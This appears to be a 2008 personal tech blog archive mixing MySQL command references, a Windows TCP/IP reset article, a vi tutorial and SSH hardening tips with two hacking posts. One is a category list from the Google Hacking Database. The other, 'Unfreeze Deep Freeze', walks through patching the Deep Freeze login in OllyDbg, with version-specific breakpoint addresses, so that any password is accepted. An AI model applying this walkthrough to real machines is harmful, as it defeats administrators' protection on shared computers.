Google Hacking Database

jbrown 13 June, 2008 11:18 Security Permalink Trackbacks (0)
Google Hacking Database (GHDB)!
http://johnny.ihackstuff.com/ghdb.php

Advisories and Vulnerabilities (215 entries)
These searches locate vulnerable servers. These searches are often generated from various security advisory posts, and in many cases are product or version-specific.

Error Messages (68 entries)
Really retarded error messages that say WAY too much!

Files containing juicy info (230 entries)
No usernames or passwords, but interesting stuff none the less.

Files containing passwords (135 entries)
PASSWORDS, for the LOVE OF GOD!!! Google found PASSWORDS!

Files containing usernames (15 entries)
These files contain usernames, but no passwords... Still, google finding usernames on a web site..

Footholds (21 entries)
Examples of queries that can help a hacker gain a foothold into a web server

Pages containing login portals (232 entries)
These are login pages for various services. Consider them the front door of a website's more sensitive functions.

Pages containing network or vulnerability data (59 entries)
These pages contain such things as firewall logs, honeypot logs, network information, IDS logs... all sorts of fun stuff!

Sensitive Directories (61 entries)
Google's collection of web sites sharing sensitive directories. The files contained in here will vary from sesitive to uber-secret!

Sensitive Online Shopping Info (9 entries)
Examples of queries that can reveal online shopping info like customer data, suppliers, orders, creditcard numbers, credit card info, etc

Various Online Devices (201 entries)
This category contains things like printers, video cameras, and all sorts of cool things found on the web with Google.

Vulnerable Files (57 entries)
HUNDREDS of vulnerable files that Google can find on websites...

Vulnerable Servers (48 entries)
These searches reveal servers with specific vulnerabilities. These are found in a different way than the searches found in the "Vulnerable Files" section.

Web Server Detection (72 entries)
These links demonstrate Google's awesome ability to profile web servers..

 


Unfreeze Deep Freeze

jbrown 13 June, 2008 10:38 General Permalink Trackbacks (0)
Deep Freeze use a unique method of disk protection to preserve the exact original standard system configuration on over five million Windows and Macintosh computers worldwide!

According to the Faronics(Developers of Deep Freeze): "Deep Freeze instantly protects and preserves baseline computer configurations. No matter what changes a user makes to a workstation, simply restart to eradicate all changes and reset the computer to its original state - right down to the last byte."

However, the following is a step by step instruction on how to bypass the Deep Freeze security.

Note: Tested on

  • OS - Windows 2000 and XP edition
  • Deep Freeze - 4.20.020.0598, 4.20.120.0598, 4.20.121.0613, 5.20.220.1125 and 5.30.120.1181

Tools Required

>> Ollydbg (http://www.ollydbg.de/)
to patch the program and run it.
>> OllyScript (Attached or go to  -> http://www.theadmins.info/files/OllyScript.zip)
to run scripts on Ollydgb
>> ASPack 2.12 OEP finder script by hacnho/VCT2k4 (Attached or go to  -> http://www.theadmins.info/files/ASPackOEPfinderScript.txt )
to find the OEP
>> Process Explorer for 2K/XP (http://www.sysinternals.com/)
to see the login program command line

Summary

What we are going to do is to load a new instance of Deep Freeze login program and we'll change it in such a way that it will accept any password as a valid one.

Let the Play Begin

The first thing to do is to find some data that we are going to use later to load our login program instance. For this, load the Process Explorer. Once it is loaded, we can see a list of all the processes our system is running, among them is the login program called FrzState.exe or FrzState2k.exe. You may expand the tree if required to find this program. Right click over the program's name and select "Properties". A new window will be opened with the process properties.



Under the Image tab, note the property named "Command Line". Note down the value of "Command Line" including the three numbers at the end of the property for future use in this tutorial.



Run Ollydbg.

Quote
Note: Make sure that OllyScript is properly installed. Make sure that the menu "Plugins" and submenu "OllyScript" is available. If this menu doesn't appear in the program, that means the plugin is not installed properly. To install it, go to the menu "Options" and select "Appearance". In the "Plugin path" box write the address where you copied OllyScript files, press OK and restart the program.


 On the 'File' menu select 'Open' and look for the login program file (remember that Process Explorer told you where it was). In the 'Arguments' box write the three numbers you've written down. Click 'Open'. If a warning message box shows up press 'OK'. If a message box is encountered with the content "Do you want to continue the code analysis?" - press 'No'.



We have successfully loaded the program. However the problem we face here is that it is protected with Aspack 2.12 due to which we cannot see the real code. To solve this, we are going to use OllyScript and the ASPack 2.12 OEP finder script. Go to the "Plugins' menu, and then to the "OllyScript" submenu and select "Run Script".



Look for the script and open it. The script will find the OEP (original entry point). If any window shows up dismiss it.

Quote
Note: We are now on the OEP. If you are an experienced user you can dump the program using OllyDump to analyze the code with a disassembler.



Right click over the code and a context menu will appear, select 'Go to' and then 'Expression' (or use the shortcut Ctrl+G).



In the text box enter the following value according to the Deep Freeze version you have installed and press OK.

VERSION/VALUE
4.20.020.0598 / 40368D
4.20.120.0598 / 40368D
4.20.121.0613 /   4034F5
5.20.220.1125 / 4037E9
5.30.120.1181 / 4037E9



The program will jump to the line of code.

This is the line from where the password verification procedure is called. Let's set a breakpoint here. To do that right click over the line and in the context menu select 'Breakpoint' and then 'Toggle' (or press F2).



We are almost done! Now let's run this new Deep Freeze login program instance. To do that press F9. If everything went right now you should see two Deep Freeze icons on the system tray next to the clock. If Deep Freeze was configured to hide it , instead of two icons you'll see an empty icon.

Quote
Note: If the icon doesn't show up is possible that you haven't written the argument three numbers correctly or that you haven't opened the right file.



Now activate the login program by double clicking over the icon while you keep the shift key pressed. If there are two icons, is important that you click over the new icon and not over the old one. The login window will appear asking for the password. Write anything in the password box and press ENTER. The breakpoing we set earlier in Ollydbg will activate and the login program will freeze.
 
Quote
Note: If the breakpoint doesn't activate is possible that you've chosen the wrong icon. Try with the other one.




On Ollydbg press F8 to step over the function call. On the registers window (to the right of the code) you'll see that EAX register has the value 00000000. That means the password is incorrect, let's change that. Double click over the value of EAX to open the modification window. In the 'Hexadecimal' text box write 1 and press OK.





Now press F9 to continue. If everything went right the Deep Freeze configuration dialog will show up.



National Security Association

jbrown 12 April, 2008 06:24 General Permalink Trackbacks (0)

Confronting the Surveillance Society

 Outstanding talk by James Bamford author of “The Puzzle Palace” and “Body of Secrets” & Chris Calabrese Program Counsel of the ACLU Technology and Liberty Project.

 

 

See more @ http://ph33r.org/


MySQL Common Part II

jbrown 10 March, 2008 21:31 Databases Permalink Trackbacks (0)

Selecting a database:

mysql> USE database;

Listing databases:

mysql> SHOW DATABASES;

Listing tables in a db:

mysql> SHOW TABLES;

Describing the format of a table:

mysql> DESCRIBE table;

Creating a database:

mysql> CREATE DATABASE db_name;

Creating a table:

mysql> CREATE TABLE table_name (field1_name TYPE(SIZE), field2_name TYPE(SIZE));
Ex: mysql> CREATE TABLE pet (name VARCHAR(20), sex CHAR(1), birth DATE);

Load tab-delimited data into a table:

mysql> LOAD DATA LOCAL INFILE 'infile.txt' INTO TABLE table_name;
(Use n for NULL or n)

Example:

mysql> LOAD DATA LOCAL INFILE 'C:/menagerie-db/pet.txt' INTO TABLE pet;

| Slim     | Benny  | snake    | m    | 1996-04-29 | NULL       |
|          | NULL   | NULL     | NULL | NULL       | NULL       |
| Puffball | Daine  | hampster | f    | 1999-03-30 | NULL       |

Inserting one row at a time:

mysql> INSERT INTO table_name VALUES ('MyName', 'MyOwner', '2002-08-31');
(Use NULL for NULL)

Retrieving information (general):

mysql> SELECT from_columns FROM table WHERE conditions;
All values: SELECT * FROM table;
Some values: SELECT * FROM table WHERE rec_name = "value";
Multiple critera: SELECT * FROM TABLE WHERE rec1 = "value1" AND rec2 = "value2";

Reloading a new data set into existing table:

mysql> SET AUTOCOMMIT=1; # used for quick recreation of table
mysql> DELETE FROM pet;
mysql> LOAD DATA LOCAL INFILE "infile.txt" INTO TABLE table;

Fixing all records with a certain value:

mysql> UPDATE table SET column_name = "new_value" WHERE record_name = "value";

Selecting specific columns:

mysql> SELECT column_name FROM table;

Retrieving unique output records:

mysql> SELECT DISTINCT column_name FROM table;

Sorting:

mysql> SELECT col1, col2 FROM table ORDER BY col2;
Backwards: SELECT col1, col2 FROM table ORDER BY col2 DESC;

Date calculations:

mysql> SELECT CURRENT_DATE, (YEAR(CURRENT_DATE)-YEAR(date_col)) AS time_diff [FROM table];
MONTH(some_date) extracts the month value and DAYOFMONTH() extracts day.

Pattern Matching:

mysql> SELECT * FROM table WHERE rec LIKE "blah%";
(% is wildcard - arbitrary # of chars)
Find 5-char values: SELECT * FROM table WHERE rec like "_____";
(_ is any single character)

Extended Regular Expression Matching:

mysql> SELECT * FROM table WHERE rec RLIKE "^b$";
(. for char, [...] for char class, * for 0 or more instances
^ for beginning, {n} for repeat n times, and $ for end)
(RLIKE or REGEXP)
To force case-sensitivity, use "REGEXP BINARY"

Counting Rows:

mysql> SELECT COUNT(*) FROM table;

Grouping with Counting:

mysql> SELECT owner, COUNT(*) FROM table GROUP BY owner;
(GROUP BY groups together all records for each 'owner')

Selecting from multiple tables:

(Example)
mysql> SELECT pet.name, comment FROM pet, event WHERE pet.name = event.name;
(You can join a table to itself to compare by using 'AS')

Currently selected database:

mysql> SELECT DATABASE();

Maximum value:

mysql> SELECT MAX(col_name) AS label FROM table;

Auto-incrementing rows:

mysql> CREATE TABLE table (number INT NOT NULL AUTO_INCREMENT, name CHAR(10) NOT NULL);
mysql> INSERT INTO table (name) VALUES ("tom"),("dick"),("harry");

Adding a column to an already-created table:

mysql> ALTER TABLE tbl ADD COLUMN [column_create syntax] AFTER col_name;

Removing a column:

mysql> ALTER TABLE tbl DROP COLUMN col;
(Full
ALTER TABLE syntax available at mysql.com.)

Batch mode (feeding in a script):

# mysql -u user -p < batch_file
(Use -t for nice table layout and -vvv for command echoing.)
Alternatively: mysql> source batch_file;

Backing up a database with mysqldump:

# mysqldump --opt -u username -p database > database_backup.sql
(Use 'mysqldump --opt --all-databases > all_backup.sql' to backup everything.)
(More info at
MySQL's docs.)

Download MySQL HERE - http://dev.mysql.com/downloads/mysql/5.0.html


How To Reset Your TCP/IP Protocol In Windows

jbrown 08 March, 2008 07:40 Windows Permalink Trackbacks (0)

How to reset Internet Protocol (TCP/IP) in Windows XP

Article ID:299357
Last Review:February 8, 2008
Revision:7.0
This article was previously published under Q299357
For a Windows Server 2003 version of this article, see 317518 (http://support.microsoft.com/kb/317518/).

INTRODUCTION

In Windows XP, the TCP/IP stack is considered a core component of the operating system, and you cannot remove TCP/IP. Therefore, when you view the list of components for a network interface, you may notice that the Uninstall button is disabled when Internet Protocol (TCP/IP) is selected. In extreme cases, the best solution for this issue may be to reinstall the IP stack. But with the NetShell utility, you can reset the TCP/IP stack to restore it to its state that existed when the operating system was installed. This article describes how to use the NetShell utility for this purpose.

Back to the top

MORE INFORMATION

Guided Help to reset TCP/IP

Guided Help
Guided Help is available to reset TCP/IP. Guided Help can automatically perform the steps for you.

The actions that this Guided Help performs cannot be undone after Guided Help is finished.
For more information about Guided Help, click the following article number to view the article in the Microsoft Knowledge Base:
915092 (http://support.microsoft.com/kb/915092/) Description of Guided Help for Microsoft Knowledge Base articles

Requirements to install and to use this Guided Help

You must be logged on to Windows by using a computer administrator account to install and to use this Guided Help.
You must be running Windows XP Home Edition, Windows XP Professional, Windows XP Media Center Edition, or Windows XP Tablet PC Edition to install and to use this Guided Help.
You must first download Guided Help. To start, click the following link.
(http://support.microsoft.com/kb/299357/) To download Guided Help for another computer that does not have a working Internet connection, click Another Computer when you are prompted by Guided Help. Save the Guided_Help.exe file to a removable medium, such as a USB flash drive. Insert the removable medium in the other computer, and then run the Guided_Help.exe program file.

Manual method to reset TCP/IP

Note This section is intended for advanced computer users. If you are not comfortable with advanced troubleshooting, ask someone for help or contact support. For information about how to contact support, see the Microsoft Help and Support contact information Web site:
http://support.microsoft.com/contactus (http://support.microsoft.com/contactus)


The NetShell utility (netsh) is a command-line scripting interface for configuring and monitoring Windows XP networking. This tool provides an interactive network shell interface to the user.

In Windows XP, a reset command is available in the IP context of the NetShell utility. When you run the reset command, it rewrites pertinent registry keys that are used by the IP (TCP/IP) stack to reach the same result as the removal and the reinstallation of the protocol.
SYSTEMCurrentControlSetServicesTcpipParameters 
SYSTEMCurrentControlSetServicesDHCPParameters 
				

Command usage

netsh int ip reset [log_file_name]
To manually run the command successfully, you must specify a file name for the log where actions that are taken by netsh will be recorded. For example, at a command prompt, type either of the samples that are listed in the "Command samples" section. The TCP/IP stack will then be reset on a system, and the actions that were taken will be recorded in the log file, Resetlog.txt. The first sample creates the log file in the current directory, while the second sample creates a path where the log will reside. In either case, where the specified log file already exists, the new log will be appended to the end of the existing file.

Warning Programs that access or monitor the Internet such as antivirus, firewall or proxy clients may be adversely affected when you run the netsh winsock reset command. If you have a program that no longer functions correctly after you use this resolution, reinstall the program to restore functionality.

Command samples

netsh int ip reset resetlog.txt
netsh int ip reset c:resetlog.txt

MYSQL Common Commands

jbrown 18 February, 2008 10:03 Databases Permalink Trackbacks (0)

To login (from unix shell) use -h only if needed.

[mysql dir]/bin/mysql -h hostname -u root -p

Create a database on the sql server.

create database [databasename];

List all databases on the sql server.

show databases;

Switch to a database.

use [db name];

To see all the tables in the db.

show tables;

To see database's field formats.

describe [table name];

To delete a db.

drop database [database name];

To delete a table.

drop table [table name];

Show all data in a table.

SELECT * FROM [table name];

Returns the columns and column information pertaining to the designated table.

show columns from [table name];

Show certain selected rows with the value "whatever".

SELECT * FROM [table name] WHERE [field name] = "whatever";

Show all records containing the name "Bob" AND the phone number '3444444'.

SELECT * FROM [table name] WHERE name = "Bob" AND phone_number = '3444444';

Show all records not containing the name "Bob" AND the phone number '3444444' order by the phone_number field.

SELECT * FROM [table name] WHERE name != "Bob" AND phone_number = '3444444' order by phone_number;

Show all records starting with the letters 'bob' AND the phone number '3444444'.

SELECT * FROM [table name] WHERE name like "Bob%" AND phone_number = '3444444';

Use a regular expression to find records. Use "REGEXP BINARY" to force case-sensitivity. This finds any record beginning with a.

SELECT * FROM [table name] WHERE rec RLIKE "^a$";

Show unique records.

SELECT DISTINCT [column name] FROM [table name];

Show selected records sorted in an ascending (asc) or descending (desc).

SELECT [col1],[col2] FROM [table name] ORDER BY [col2] DESC;

Return number of rows.

SELECT COUNT(*) FROM [table name];

Sum column.

SELECT SUM(*) FROM [table name];

Join tables on common columns.

select lookup.illustrationid, lookup.personid,person.birthday from lookup
left join person on lookup.personid=person.personid=statement to join birthday in person table with primary illustration id;

Switch to the mysql db. Create a new user.

INSERT INTO [table name] (Host,User,Password) VALUES('%','user',PASSWORD('password'));

Change a users password.(from unix shell).

[mysql dir]/bin/mysqladmin -u root -h hostname.blah.org -p password 'new-password'

Change a users password.(from MySQL prompt).

SET PASSWORD FOR 'user'@'hostname' = PASSWORD('passwordhere');

Allow the user "bob" to connect to the server from localhost using the password "passwd"

grant usage on *.* to bob@localhost identified by 'passwd';

Switch to mysql db.Give user privilages for a db.

INSERT INTO [table name] (Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv) VALUES ('%','databasename','username','Y','Y','Y','Y','Y','N');

or

grant all privileges on databasename.* to username@localhost;

To update info already in a table.

UPDATE [table name] SET Select_priv = 'Y',Insert_priv = 'Y',Update_priv = 'Y' where [field name] = 'user';

Delete a row(s) from a table.

DELETE from [table name] where [field name] = 'whatever';

Update database permissions/privilages.

FLUSH PRIVILEGES;

Delete a column.

alter table [table name] drop column [column name];

Add a new column to db.

alter table [table name] add column [new column name] varchar (20);

Change column name.

alter table [table name] change [old column name] [new column name] varchar (50);

Make a unique column so you get no dupes.

alter table [table name] add unique ([column name]);

Make a column bigger.

alter table [table name] modify [column name] VARCHAR(3);

Delete unique from table.

alter table [table name] drop index [colmn name];

Load a CSV file into a table.

LOAD DATA INFILE '/tmp/filename.csv' replace INTO TABLE [table name] FIELDS TERMINATED BY ',' LINES TERMINATED BY 'n' (field1,field2,field3);

Dump all databases for backup. Backup file is sql commands to recreate all db's.

[mysql dir]/bin/mysqldump -u root -ppassword --opt >/tmp/alldatabases.sql

Dump one database for backup.

[mysql dir]/bin/mysqldump -u username -ppassword --databases databasename >/tmp/databasename.sql

Dump a table from a database.

[mysql dir]/bin/mysqldump -c -u username -ppassword databasename tablename > /tmp/databasename.tablename.sql

Restore database (or database table) from backup.

[mysql dir]/bin/mysql -u username -ppassword databasename < /tmp/databasename.sql

Create Table Example 1.

CREATE TABLE [table name] (firstname VARCHAR(20), middleinitial VARCHAR(3), lastname VARCHAR(35),suffix VARCHAR(3),officeid VARCHAR(10),userid VARCHAR(15),username VARCHAR(8),email VARCHAR(35),phone VARCHAR(25), groups
VARCHAR(15),datestamp DATE,timestamp time,pgpemail VARCHAR(255));

Create Table Example 2.

create table [table name] (personid int(50) not null auto_increment primary key,firstname varchar(35),middlename varchar(50),lastnamevarchar(50) default 'bato');

MYSQL Statements and clauses

ALTER DATABASE

ALTER TABLE

ALTER VIEW

ANALYZE TABLE

BACKUP TABLE

CACHE INDEX

CHANGE MASTER TO

CHECK TABLE

CHECKSUM TABLE

COMMIT

CREATE DATABASE

CREATE INDEX

CREATE TABLE

CREATE VIEW

DELETE

DESCRIBE

DO

DROP DATABASE

DROP INDEX

DROP TABLE

DROP USER

DROP VIEW

EXPLAIN

FLUSH

GRANT

HANDLER

INSERT

JOIN

KILL

LOAD DATA FROM MASTER

LOAD DATA INFILE

LOAD INDEX INTO CACHE

LOAD TABLE...FROM MASTER

LOCK TABLES

OPTIMIZE TABLE

PURGE MASTER LOGS

RENAME TABLE

REPAIR TABLE

REPLACE

RESET

RESET MASTER

RESET SLAVE

RESTORE TABLE

REVOKE

ROLLBACK

ROLLBACK TO SAVEPOINT

SAVEPOINT

SELECT

SET

SET PASSWORD

SET SQL_LOG_BIN

SET TRANSACTION

SHOW BINLOG EVENTS

SHOW CHARACTER SET

SHOW COLLATION

SHOW COLUMNS

SHOW CREATE DATABASE

SHOW CREATE TABLE

SHOW CREATE VIEW

SHOW DATABASES

SHOW ENGINES

SHOW ERRORS

SHOW GRANTS

SHOW INDEX

SHOW INNODB STATUS

SHOW LOGS

SHOW MASTER LOGS

SHOW MASTER STATUS

SHOW PRIVILEGES

SHOW PROCESSLIST

SHOW SLAVE HOSTS

SHOW SLAVE STATUS

SHOW STATUS

SHOW TABLE STATUS

SHOW TABLES

SHOW VARIABLES

SHOW WARNINGS

START SLAVE

START TRANSACTION

STOP SLAVE

TRUNCATE TABLE

UNION

UNLOCK TABLES

USE

String Functions

AES_DECRYPT

AES_ENCRYPT

ASCII

BIN

BINARY

BIT_LENGTH

CHAR

CHAR_LENGTH

CHARACTER_LENGTH

COMPRESS

CONCAT

CONCAT_WS

CONV

DECODE

DES_DECRYPT

DES_ENCRYPT

ELT

ENCODE

ENCRYPT

EXPORT_SET

FIELD

FIND_IN_SET

HEX

INET_ATON

INET_NTOA

INSERT

INSTR

LCASE

LEFT

LENGTH

LOAD_FILE

LOCATE

LOWER

LPAD

LTRIM

MAKE_SET

MATCH AGAINST

MD5

MID

OCT

OCTET_LENGTH

OLD_PASSWORD

ORD

PASSWORD

POSITION

QUOTE

REPEAT

REPLACE

REVERSE

RIGHT

RPAD

RTRIM

SHA

SHA1

SOUNDEX

SPACE

STRCMP

SUBSTRING

SUBSTRING_INDEX

TRIM

UCASE

UNCOMPRESS

UNCOMPRESSED_LENGTH

UNHEX

UPPER

Date and Time Functions

ADDDATE

ADDTIME

CONVERT_TZ

CURDATE

CURRENT_DATE

CURRENT_TIME

CURRENT_TIMESTAMP

CURTIME

DATE

DATE_ADD

DATE_FORMAT

DATE_SUB

DATEDIFF

DAY

DAYNAME

DAYOFMONTH

DAYOFWEEK

DAYOFYEAR

EXTRACT

FROM_DAYS

FROM_UNIXTIME

GET_FORMAT

HOUR

LAST_DAY

LOCALTIME

LOCALTIMESTAMP

MAKEDATE

MAKETIME

MICROSECOND

MINUTE

MONTH

MONTHNAME

NOW

PERIOD_ADD

PERIOD_DIFF

QUARTER

SEC_TO_TIME

SECOND

STR_TO_DATE

SUBDATE

SUBTIME

SYSDATE

TIME

TIMEDIFF

TIMESTAMP

TIMESTAMPDIFF

TIMESTAMPADD

TIME_FORMAT

TIME_TO_SEC

TO_DAYS

UNIX_TIMESTAMP

UTC_DATE

UTC_TIME

UTC_TIMESTAMP

WEEK

WEEKDAY

WEEKOFYEAR

YEAR

YEARWEEK

Mathematical and Aggregate Functions

ABS

ACOS

ASIN

ATAN

ATAN2

AVG

BIT_AND

BIT_OR

BIT_XOR

CEIL

CEILING

COS

COT

COUNT

CRC32

DEGREES

EXP

FLOOR

FORMAT

GREATEST

GROUP_CONCAT

LEAST

LN

LOG

LOG2

LOG10

MAX

MIN

MOD

PI

POW

POWER

RADIANS

RAND

ROUND

SIGN

SIN

SQRT

STD

STDDEV

SUM

TAN

TRUNCATE

VARIANCE

Flow Control Functions

CASE

IF

IFNULL

NULLIF

Command-Line Utilities

comp_err

isamchk

make_binary_distribution

msql2mysql

my_print_defaults

myisamchk

myisamlog

myisampack

mysqlaccess

mysqladmin

mysqlbinlog

mysqlbug

mysqlcheck

mysqldump

mysqldumpslow

mysqlhotcopy

mysqlimport

mysqlshow

perror

Perl API - using functions and methods built into the Perl DBI with MySQL

available_drivers

begin_work

bind_col

bind_columns

bind_param

bind_param_array

bind_param_inout

can

clone

column_info

commit

connect

connect_cached

data_sources

disconnect

do

dump_results

err

errstr

execute

execute_array

execute_for_fetch

fetch

fetchall_arrayref

fetchall_hashref

fetchrow_array

fetchrow_arrayref

fetchrow_hashref

finish

foreign_key_info

func

get_info

installed_versions

last_insert_id

looks_like_number

neat

neat_list

parse_dsn

parse_trace_flag

parse_trace_flags

ping

prepare

prepare_cached

primary_key

primary_key_info

quote

quote_identifier

rollback

rows

selectall_arrayref

selectall_hashref

selectcol_arrayref

selectrow_array

selectrow_arrayref

selectrow_hashref

set_err

state

table_info

table_info_all

tables

trace

trace_msg

type_info

type_info_all

Attributes for Handles

PHP API - using functions built into PHP with MySQL

mysql_affected_rows

mysql_change_user

mysql_client_encoding

mysql_close

mysql_connect

mysql_create_db

mysql_data_seek

mysql_db_name

mysql_db_query

mysql_drop_db

mysql_errno

mysql_error

mysql_escape_string

mysql_fetch_array

mysql_fetch_assoc

mysql_fetch_field

mysql_fetch_lengths

mysql_fetch_object

mysql_fetch_row

mysql_field_flags

mysql_field_len

mysql_field_name

mysql_field_seek

mysql_field_table

mysql_field_type

mysql_free_result

mysql_get_client_info

mysql_get_host_info

mysql_get_proto_info

mysql_get_server_info

mysql_info

mysql_insert_id

mysql_list_dbs

mysql_list_fields

mysql_list_processes

mysql_list_tables

mysql_num_fields

mysql_num_rows

mysql_pconnect

mysql_ping

mysql_query

mysql_real_escape_string

mysql_result

mysql_select_db

mysql_stat

mysql_tablename

mysql_thread_id

mysql_unbuffered_query


Stop SSH User Hacking / Cracking Attacks With DenyHosts Software

jbrown 17 February, 2008 17:50 Linux Permalink Trackbacks (0)

Debian Linux Stop SSH User Hacking / Cracking Attacks with DenyHosts Software

 

Q. I’ve noticed lots of failed login attempt for my Debian Linux VPS root server account. How do I stop automated bot based SSH attacks on my server?

A. You can use DenyHosts - a Python based script that analyzes the sshd server log messages to determine what hosts are attempting to hack into your system. It is an utility to help sys admins thwart ssh crackers. It also determines what user accounts are being targeted. It keeps track of the frequency of a (More)

Linux Text Editor: Vi

jbrown 17 February, 2008 17:31 Linux Permalink Trackbacks (0)
The vi editor comes with every version of Linux or Unix. It's a terribly unfriendly beast of an editor, but you should know about it because someday you're likely to find yourself on a system where you have no other choice but to use it. A friend of mine calls vi the Heart of Evil, but that might be just a bit harsh--you decide
 
Using vi is similar to using other editors in that you can see your file on the screen (this is not the case with a line editor, for example), move from point to point in the file, and make changes. But that's where the similarities end. Cryptic commands, a frustrating user interface, and the absence of prompts can all drive you up a wall. Still, if you focus on a few basics, you'll get the job done.

Command and Input Mode

The hardest thing to understand about vi is the concept of modes. When using vi, you're always in either Command or Input mode. Unfortunately there's no clue as to which mode is currently active. In Command mode, you can move the cursor, search for characters, and delete existing text. But to enter or edit new text, you have to switch to Input mode.

When you start vi, you're in Command mode. To enter Input mode, type the letter a (lowercase only) to signal that you want to add text after the cursor position. Press esc to switch back to Command mode at any time.

Here's how to create a file from scratch using vi. To start, create a new file named cow.joke by typing

vi cow.joke

You'll see a screen that looks like this:

|

~

~

~

~

~

~

~

~

~

"cow.joke" [New file]

Adding New Text to Your File

Your cursor (the vertical bar at the top of the figure below is in the upper-left corner of the screen, and the message at the bottom tells you that a new file called cow.joke was just created. The tilde characters in the first column are just placeholders for empty lines.

Now press the letter a to enter Input mode and type the lines shown in here. Press enter at the end of each line to go on to the next.

Jane: Knock, knock...

Bill: Who's there?

Jane: The Interrupting Cow.

Bill: The Interrupting Cow wh...

Jane: MOOOOOO!

|

~

~

~

~

"cow.joke" [New file]

Saving Your Work

So far, so good--let's save this little masterpiece. You're still in Input mode, so press esc to enter Command mode; then type ZZ (to put your file to sleep). You won't see any Z's on the screen, but after you've entered the second Z, your file will disappear, your Linux command prompt will return, and you'll see this message, indicating that your file was successfully saved:

"cow.joke" 6 lines, 113 characters.

Congratulations--you've just survived your first encounter with vi. You know that the a command switches to Input mode, esc gets you back to Command mode, and ZZ saves the file, but you'll have to expand this limited repertoire to get any real work done.

Common vi Commands

Have a look at this list of common vi commands (there are many more, but these will at least allow you to get some basic work done). Then we'll do one more exercise before moving on.

Note: As with all of Linux, vi commands are case sensitive.

Positioning the Cursor

® Move cursor one space right.
¬ Move cursor one space left.
­ Move cursor up one line.
¯ Move cursor down one line.
ctrl-F Move forward one screen.
ctrl-B Move backward one screen.
$ Move cursor to end of line.
^ Move cursor to beginning of line.
:1 Move to first line of file
:$ Move to last line of file
/ Search for a character string.
? Reverse search for a character string.
x Delete the character at the cursor position.
dd Delete the current line.
p Paste data that was cut with x or dd commands.
u Undo.

Entering Input Mode

a Add text after the cursor.
i Insert text before the cursor.
R Replace text starting at the cursor.
o Insert a new line after the current one.

Entering Command Mode

esc Switch from Input mode to Command mode.

Exiting or Saving Your File

:w Write file to disk, without exiting editor.
ZZ Save the file and exit.
:q! Quit without saving.

Trying Out Some vi Commands

Here's another example to try out some of the vi commands. Enter the following command to fire up vi again, and you should see the file as we left it in the last example:

vi cow.joke

Changing Text

Let's change Bill's name to Biff on the second line. To do so, use the arrow keys to position your cursor on the third character of line 2 (the letter "l" in Bill); then press x twice (to delete the two l's). Now press i (to enter Input mode) and then type ff to complete the change from Bill to Biff.

Tip: Be careful about pressing the arrow keys while you're in Input mode. In some versions of vi you can position the cursor only in Command mode. Yuck.

You could also have used the R command to do this job of replacing text, so use it to change the other Bill now. Press esc to enter Command mode; then type /Bill to search for the word Bill. The cursor should move to line 4, right to where Bill is located.

Now position your cursor on the third character (the letter "l"), press R to replace the characters, and type ff. Both Bills should now be Biffs.

Adding and Deleting Lines

Here's how to add or delete a line. Press esc to enter Command mode; then press the o key to add a new line. You're in Input mode again, so you can type whatever you like on this new line. But that would ruin the joke, so delete this new line by pressing esc and then entering the dd command. The line you just added should go away.

Quitting without Saving Your Changes

Hmmm. . . . "Biff" just doesn't have that wholesome ring to it, so let's forget about all the changes we've made in this editing session and exit vi without saving the file. Make sure you're in Command mode, enter the :q! command, and then press enter. Your Linux prompt should return, and the cow.joke file will be just as it was before.

Parting Words about vi

Using vi can be frustrating, but it really isn't rocket science once you get used to the concept of the two modes and get the hang of when it's okay to move your cursor or enter text. If you're ever unsure about which mode you're in, simply press esc once or twice, and you can be sure you're in Command mode.

There are some powerful (but arcane) commands that diehard vi users use to get things done quickly in this relic-of-the-sixties text editor. The man vi command will tell you a lot more about vi if you decide you want to become proficient.

The Usenet newsgroup comp.editors is a good place to discuss vi or ask questions. You can find the vi FAQ (Frequently Asked Questions) file on the Web at http://www.faqs.org/faqs/editor-faq/vi/.

For more information on the vi command, see the vi manual.


SSH: Best Practices

jbrown 17 February, 2008 17:04 Linux Permalink Trackbacks (0)

SSH: Best Practices

Introduction

Are you using SSH in the best way possible? Have you configured it to be as limited and secure as possible? The goal of this document is to kick in the new year with some best practices for SSH: why you should use them, how to set them up, and how to verify that they are in place.

All of the examples below assume that you are using EnGarde Secure Linux but any modern Linux distribution will do just fine since, as far as I know, everybody ships OpenSSH.

SSHv2 vs. SSHv1

There are numerous benefits to using the latest version of the SSH protocol, version 2, over it's older counterpart, version 1 and I'm not going into a lot of details on those benefits here - if you're interested, see the URL in the reference below or Google around. That being said if you don't have an explicit reason to use the older version 1, you should always be using version 2.

To use SSHv2 by default but permit SSHv1, locate the "Protocol" line in your sshd_config file and change it to:

Protocol 2,1

When doing 2,1 please note that the protocol selection is left up to the client. Most clients will default to v2 and "fall back" to v1, while legacy clients may continue to use v1. To force everybody to use SSHv2, change it to:

Protocol 2

When you make this change don't forget to generate the appropriate HostKey's as well! SSHv2 requires the following keys:

# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key

While SSHv1 requires:

# HostKey for protocol version 1
HostKey /etc/ssh/ssh_host_key

Once your changes are made, restart the SSH daemon:

# /etc/init.d/sshd restart

[ SUCCESSFUL ] Secure Shell Daemon
[ SUCCESSFUL ] Secure Shell Daemon

From another machine, try SSH'ing in. You can use the -v option to see which protocol is being used, and the '-oProtocol=' option to force one or the other - for example, "ssh -v -oProtocol=2 " would force protocol version 2.

Binding to a Specific Address or Non-Standard Port

If you're running SSH on an internal, firewalled, workstation then you can probably skip this section, but if you're running SSH on a firewall or on a machine with two network interfaces, this section is for you.

Out of the box OpenSSH will bind to every available network address; while convenient and suitable for most installations, this is far from optimal. If your machine has two or more interfaces then the odds are that one is "trusted" and the other is "untrusted." If this is the case, and you don't need nor want SSH access coming in on the untrusted interface, then you should configure OpenSSH to listen on a specific interface.

To have OpenSSH only bind to your internal interface, 192.168.0.1 in the example below, locate the following line in your sshd_config file:

ListenAddress 0.0.0.0

and change the 0.0.0.0 to 192.168.0.1:

ListenAddress 192.168.0.1

To verify that this change took, restart OpenSSH and look at netstat:

# /etc/init.d/sshd restart

[ SUCCESSFUL ] Secure Shell Daemon
[ SUCCESSFUL ] Secure Shell Daemon

# netstat -anp | grep sshd

tcp 0 0 192.168.0.1:22 0.0.0.0:* LISTEN 7868/sshd

As you can see, the sshd daemon is now only listening on 192.168.0.1. SSH requests coming in any other interface will be ignored.

